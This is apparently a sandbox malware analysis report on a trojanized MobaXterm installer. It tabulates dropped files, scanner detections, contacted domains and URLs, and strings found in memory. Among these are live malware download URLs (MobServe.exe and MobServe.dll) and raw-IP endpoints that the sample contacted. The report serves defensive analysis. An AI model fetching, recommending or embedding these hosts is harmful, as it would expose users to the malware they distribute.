Source	Detection	Scanner	Label	Link
T2dvU8f2xg.exe	5%	ReversingLabs	Win32.Trojan.Generic
T2dvU8f2xg.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\Mxt242\bin\MoTTYnew.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaCompareFiles	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaCompareFolders	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaGitEditor	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaListPorts	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaPictureViewer	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaTextEditor	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\OpenX.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX_21.1.3.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX_21.1.8.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\dwm_w32.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\jwm.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libGL-1.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libICE-6.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libSM-6.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libX11-6.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libX11-xcb-1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXau-6.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXdmcp-6.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXext-6.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXfont-1.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXmu-6.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXmuu-1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXt-6.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libdl.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libfontenc-1.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libgcc_s_dw2-1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libglapi-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libnativeGLthunk.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libwinpthread-1.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-1.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-glx-0.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-image-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-shm-0.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-util-1.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\setxkbmap.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\swrast_dri.so	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\twm_w32.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\xhost.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\xlsatoms.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\xlsclients.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\xlsfonts.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\xmodmap.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\xprop.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\xrdb.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Mxt242\bin\zlib1.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\evb52F2.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label
https://mobaxterm.mobatek.net/lastver.php?pro=non_pro&version=24%2E2&beta=0	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net/lastver.php?pro=pro&version=	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net/ExtendedTools.plugin	0%	Avira URL Cloud	safe
http://colemak.c	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net	0%	Avira URL Cloud	safe
https://scrt1.nyazz.com/MobServe.exeo	0%	Avira URL Cloud	safe
http://154.19.200.133:8087/count	0%	Avira URL Cloud	safe
https://vorillaz.github.io/devicons/#/about)	0%	Avira URL Cloud	safe
http://mobaxterm.mobatek.net	0%	Avira URL Cloud	safe
https://scrt1.nyazz.com/	0%	Avira URL Cloud	safe
http://107.148.62.100:8084/	0%	Avira URL Cloud	safe
http://schemas.microsoft	0%	Avira URL Cloud	safe
http://107.148.62.100:8084/?a=w64&h=107.148.62.100&t=ws_&p=8084	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.netx	0%	Avira URL Cloud	safe
https://dejavu-fonts.github.io/License.html)	0%	Avira URL Cloud	safe
https://dejavu-fonts.github.io/)	0%	Avira URL Cloud	safe
https://vorillaz.github.io/devicons)	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net/cert.html	0%	Avira URL Cloud	safe
http://bdsatish.in/lang/tel-kagapa.png	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.netU	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net/lastver.php?pro=non_pro&version=	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net/download.html03	0%	Avira URL Cloud	safe
https://download.mobatek.net/previewcygutils/	0%	Avira URL Cloud	safe
http://www.cherokee.org/ext	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net8	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.netj	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net/	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net/documentation.html#6_2	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net/plugins.html	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net)MobaFontBookMobaFontMobaFontVersion	0%	Avira URL Cloud	safe
http://www.openssh.com/faq.html#2.9	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net/ExtendedTools.pluginU	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net/plugins.htmlSVW	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net)	0%	Avira URL Cloud	safe
https://scrt1.nyazz.com/MobServe.exe	100%	Avira URL Cloud	malware
https://mobaxterm.mobatek.netMobaFira	0%	Avira URL Cloud	safe
https://ssh.0523qyfw.com/MobServe.dll	100%	Avira URL Cloud	malware
http://154.19.200.133:8087	0%	Avira URL Cloud	safe
https://bugs.freedesktop.org/enter_bug.cgi?product=Mesa	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net/resetmasterpassword.html.	0%	Avira URL Cloud	safe
https://www.61xdm.com/wmob	0%	Avira URL Cloud	safe
https://download.mobatek.net/previewcygutils/MobaXtermYou	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.netDVarFileInfo$	0%	Avira URL Cloud	safe
https://blog.mobatek.net/post/how-to-keep-X11-display-after-su-or-sudo/	0%	Avira URL Cloud	safe
http://mingw-w64.sourceforge.net/X	0%	Avira URL Cloud	safe
http://download.mobatek.net/sources/	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net/download.html	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.netMobaFont	0%	Avira URL Cloud	safe
http://www.baraha.com/help/Keyboards/tel_brhkbd.htm	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.netopenwinAboutDlgProc	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net/download.htmlS	0%	Avira URL Cloud	safe
http://wiki.laptop.org/go/Image	0%	Avira URL Cloud	safe
https://mobaxterm.mobatek.net/download.htmlU	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
61xdm.com	107.148.51.200	true	false	unknown
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
scrt1.nyazz.com	118.107.29.172	true	false	high
ssh.0523qyfw.com	unknown	unknown	false	high
www.61xdm.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://154.19.200.133:8087/count	false	Avira URL Cloud: safe	unknown
http://107.148.62.100:8084/?a=w64&h=107.148.62.100&t=ws_&p=8084	false	Avira URL Cloud: safe	unknown
http://107.148.62.100:8084/	false	Avira URL Cloud: safe	unknown
https://scrt1.nyazz.com/MobServe.exe	false	Avira URL Cloud: malware	unknown
https://www.61xdm.com/wmob	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://fontawesome.com/free)	T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false		high
http://x.ss2.us/x.cerSV	T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445804936.000000000C4A2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445804936.000000000C4A2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false		high
http://colemak.c	T2dvU8f2xg.exe, 00000000.00000002.3849894852.0000000009279000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/belluzj/fantasque-sans/blob/master/LICENSE.txt)	T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false		high
https://mobaxterm.mobatek.net/lastver.php?pro=non_pro&version=24%2E2&beta=0	T2dvU8f2xg.exe, 00000000.00000002.3795177151.0000000004062000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobaxterm.mobatek.net/ExtendedTools.plugin	T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://mobaxterm.mobatek.net	T2dvU8f2xg.exe, 00000000.00000002.3795177151.0000000003FD0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scrt1.nyazz.com/	T2dvU8f2xg.exe, 00000000.00000002.3785089839.0000000001AE9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vorillaz.github.io/devicons/#/about)	T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/hsts.html	T2dvU8f2xg.exe	false		high
https://www.google.fr	T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1391574364.000000000B4BE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://curl.se/docs/alt-svc.html#	T2dvU8f2xg.exe	false		high
https://www.chiark.greenend.org.uk/~sgtatham/putty/	T2dvU8f2xg.exe, 00000000.00000003.1405025846.000000000B9FA000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1465043904.00000000FCBC3000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445203638.000000000B8B5000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDB60000.00000004.00001000.00020000.00000000.sdmp	false		high
https://curl.se/docs/hsts.html#	T2dvU8f2xg.exe	false		high
https://mobaxterm.mobatek.net	T2dvU8f2xg.exe, 00000000.00000002.3823187427.0000000007AAA000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp, XWin_MobaX.exe	false	Avira URL Cloud: safe	unknown
https://console.aws.amazon.com/iam	T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	false		high
https://mobaxterm.mobatek.net/lastver.php?pro=pro&version=	T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/tonsky/FiraCode)	T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false		high
https://scrt1.nyazz.com/MobServe.exeo	T2dvU8f2xg.exe, 00000000.00000002.3785089839.0000000001B37000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.microsoft	T2dvU8f2xg.exe, 00000000.00000002.3844810029.000000000845C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.chiark.greenend.org.uk/~sgtatham/putty/open%s	T2dvU8f2xg.exe, 00000000.00000003.1405025846.000000000B9FA000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://dejavu-fonts.github.io/License.html)	T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobaxterm.mobatek.netx	T2dvU8f2xg.exe, 00000000.00000002.3844810029.000000000845C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dejavu-fonts.github.io/)	T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/tonsky/FiraCode/blob/master/LICENSE)	T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false		high
https://vorillaz.github.io/devicons)	T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/search?q=	T2dvU8f2xg.exe, 00000000.00000003.1356593070.000000000A157000.00000004.00000020.00020000.00000000.sdmp	false		high
https://curl.se/docs/alt-svc.html	T2dvU8f2xg.exe	false		high
https://fontawesome.com/license/free)	T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false		high
https://mobaxterm.mobatek.net/cert.html	T2dvU8f2xg.exe, 00000000.00000003.1351407496.0000000007511000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1689565677.00000000090C2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1431585166.000000000AB98000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1349687393.000000000832D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445804936.000000000C4A2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3848598695.0000000009247000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1680963161.00000000FFD27000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1350237895.0000000007439000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1397982376.000000000AFE6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDB60000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bdsatish.in/lang/tel-kagapa.png	T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobaxterm.mobatek.netU	T2dvU8f2xg.exe, 00000000.00000002.3844810029.000000000845C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://download.mobatek.net/previewcygutils/	T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://mobaxterm.mobatek.net/download.html03	T2dvU8f2xg.exe, 00000000.00000002.3795177151.00000000040EC000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
